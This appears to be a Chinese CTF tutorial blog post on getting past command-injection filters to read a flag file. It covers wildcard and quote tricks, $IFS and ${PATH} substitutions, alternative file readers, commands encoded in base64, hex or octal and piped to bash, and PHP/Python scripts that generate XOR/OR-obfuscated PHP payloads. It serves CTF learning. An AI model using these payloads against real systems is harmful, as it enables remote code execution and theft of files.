在我遇到的题目中,想要读取文件必然是要执行cat /flag这个命令,但是题目当然不会这么轻松。让你直接cat出来,必然会有各种各样的滤过条件,你要做的就是尝试各种方法在cat /flag的基础上进行各种操作构建出最终的payload。
下面我就总结一下一些比较常见的过滤的条件和绕过方式。
(其实过滤条件主要都是对字符的限制,再有就是对长度的限制。)
一.文件名被过滤
我按自己的想法分为两大类
关键词过滤
当过滤不是逐个字母比对时(也就是关键词过滤),我们依然可以使用cat这个命令来操作,因此我们主要是操作“flag”这个字符串,使其不用不用这四个字符也能表示flag这个文件。
因此我们就逐个尝试这几种绕过方法。
1.* 通配文件,在linux里f*可以指代任何以f开头的文件 f*就可以表示flag文件因此我们构建出的payload是 cat /f*,
2.?匹配文件名:可以用?代替滤过字符 f???,就代表任意一个f开头四个字符的文件,自然也可以代表flag,因此
payload是 cat /f???
3.正则匹配: 其实与上述类似,用一个范围代表字符 [9-q]可以匹配早ascll码在9到q之间的字符。
payload是 cat /[9-q][9-q][9-q][9-q]
4.分割文件名,在linux里在字母中间插上‘ “ \这样的字符不会影响,因此可以在其中插入构建payload
其实如果只是关键词过滤的话还挺好绕过的。当然关键词绕过方法,和下面逐个字母比对的绕过有一些方法是重合的,但明显如果只是简单的关键词绕过没有必要搞一些编码什么的。
字符过滤
这个就比较苛刻了,因为题目限制的任何字符都不能出现,比如一般将flag字符进行过滤的也直接把cat给ban了因为cat同样也含有a字符
小ban
ban的字符比较少,凑吧凑吧能构建出payload
1. / 被过滤:在linux中echo ${PATH}可以输出文件路径在而${PATH:0:1}便取到了/字符,
因此echo ${PATH:0:1}便是代表 /,当然还有很多写法代表/,比如${PATH:4:1}.${PWD:0:1}.${SHELL:0:1}等可以酌情选择
2.空格被过滤同样也可以找代表字符的变量 比如$IFS ${IFS} 或者这样表示{cat,/flag}也可以,我还遇到过一个方法就是使用< 可以这样cat</flag,在前边加<<<也可以表示输入流
3.若是cat的一些字符被ban也可以选择换几个读取命令,下面介绍几个命令
cat(用于连接文件并打印到标准输出设备上)
tac (用于将文件以行为单位反序输出)
more(类似cat命令,会一页一页的显示)我在实战中用到过
less(作用与more类似,都用来浏览文本文件中的内容)
head(可用于查看文件开头部分的内容,后边可选择加以个 -n参数表示显示几行,默认显示10行)
tail(与head类似,但它默认显示后10行)
nl (可以为输出列加上编号)
sed 可以这样构造 sed p /f*
sort(用于将文本文件内容加以排序)
uniq(删除文件中的连续重复行 如果你在不使用任何参数的情况下使用 uniq 命令,它将删除所有连续的重复行,只显示唯一的行)
rev (反转一个或多个文件的行)会把flag倒叙输出
od (od(Octal Dump)命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,系统默认的显示方式是八进制。)
vim (这俩都是Linux里的文件编辑器,我们在网页直接用system("vim /f*");虽然不会进入编辑模式但还是可以看到里面的内容。)
man(man 命令是 Linux 下的帮助指令,通过 man 指令可以查看 Linux 中的指令帮助、配置文件帮助和编程帮助等信息,类似于vim/vi,直接对文本运行可以看到文本内容。)
paste (使用paste命令可以将每个指定文件里的每一行整合到对应一行里写到标准输出,之间用制表符分隔。)
grep(查找文件里符合条件的字符串)可以这样构造 grep { /f*
file (查看文件信息或类型) file -f /f*
dd (用于读取、转换并输出数据。) 后要加 if=/flag(有点鸡肋,因为f一般会被ban)
大ban
被ban的字符很多,或者只能用几个特定的字符,上述的一些方法就构造不出payload了,这时就要用到较为麻烦的方法了,那就是编码。下面着重介绍几个并附上脚本。(找到合适的编码方式后,还要考虑该方式能不能被识别出来,构造不对就可能被认为是字符串而已)
1.base64编码 echo ’编码后的‘ |base64 -d | bash
2.hex编码 echo ” “ |xxd -r -p |bash
补充知识:管道符 | 会将前一个命令执行的结果当作第二个命令的输入。
xxd命令:它能将一个给定文件或标准输入转换为十六进制形式,也能将十六进制转换回二进制形式,用法是:xxd /f*
3.oct编码 当你看到白名单中有数字,$ \ ' ' 基本可以确定要用这种编码方式$' ',单引号里加入编码后的内容,空格一般不能被识别,所以可以在空格处断开 $' '<$' '这样就可以了。
下面附上脚本4.异或 同或()
在 PHP 中两个字符串异或之后,得到的还是一个字符串。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。
或与其原理相同。
下面附上两个脚本
异或
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[flag$\/*?;]/'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
注意根据题目过滤要求修改一下正则
执行后会生成一个txt文件,将其粘贴至下一个python脚本文件夹下
# -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
运行python,在控制板输入你要编码的内容。
或的方式相同,不做赘述,附上php与python脚本
<?php
$myfile = fopen("or_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0' . dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0' . dechex($j);
} else {
$hex_j = dechex($j);
}
$preg = '/[flag$\/*?;]/'; // 根据题目给的正则表达式修改即可
if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
echo "";
} else {
$a = '%' . $hex_i;
$b = '%' . $hex_j;
$c = (urldecode($a) | urldecode($b));
if (ord($c) >= 32 & ord($c) <= 126) {
$contents = $contents . $c . " " . $a . " " . $b . "\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
# -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)